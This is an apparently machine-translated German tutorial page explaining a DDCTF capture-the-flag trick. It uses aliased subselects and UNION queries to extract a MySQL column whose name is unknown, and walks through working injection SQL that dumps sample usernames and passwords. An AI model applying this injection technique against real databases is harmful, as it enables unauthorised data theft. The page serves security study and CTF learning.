Heim >Datenbank >MySQL-Tutorial >Ausführliche Erklärung, wie MySQL unbekannte Feldnamen umgeht

Ausführliche Erklärung, wie MySQL unbekannte Feldnamen umgeht

小云云
小云云Original
2018-01-17 10:09:501177Durchsuche

Dieser Artikel stellt Ihnen hauptsächlich die relevanten Informationen vor, wie MySQL unbekannte Feldnamen geschickt umgehen kann. Der Artikel bietet einen gewissen Referenz- und Lernwert für Freunde, die ihn benötigen Folgen Werfen wir einen Blick darauf, ich hoffe, es kann allen helfen.

Vorwort

Dieser Artikel stellt die fünfte Frage von DDCTF vor, die Technik zur Umgehung unbekannter Feldnamen. Die Idee ist großartig und klar Werfen wir einen Blick auf die ausführliche Einführung:

Implementierungsideen

Die Frage filtert Leerzeichen und Kommas für Leerzeichen oder Klammern können direkt umgangen werden.

Der Feldname, in dem das Flag gespeichert ist, ist ebenfalls unbekannt. Der Feldname kann zu diesem Zeitpunkt nicht abgerufen werden. Der Vorgang lautet wie folgt:

Die Idee besteht darin, die Flagge abzurufen und sie unter dem Namen des bekannten Feldes erscheinen zu lassen >

Beispielcode:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4   |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | 110@110.com |
| 120@120.com | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)
Verwandte Empfehlungen:


Detaillierte Erklärung, wie man das langsame Abfrageprotokoll in MySQL aktiviert

Zehn Prinzipien der grundlegenden Anweisungsoptimierung in MySQL

Auf Linux-Server Ausführliche Erläuterung der MySQL-Remoteverbindungsmethode

Das obige ist der detaillierte Inhalt vonAusführliche Erklärung, wie MySQL unbekannte Feldnamen umgeht. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn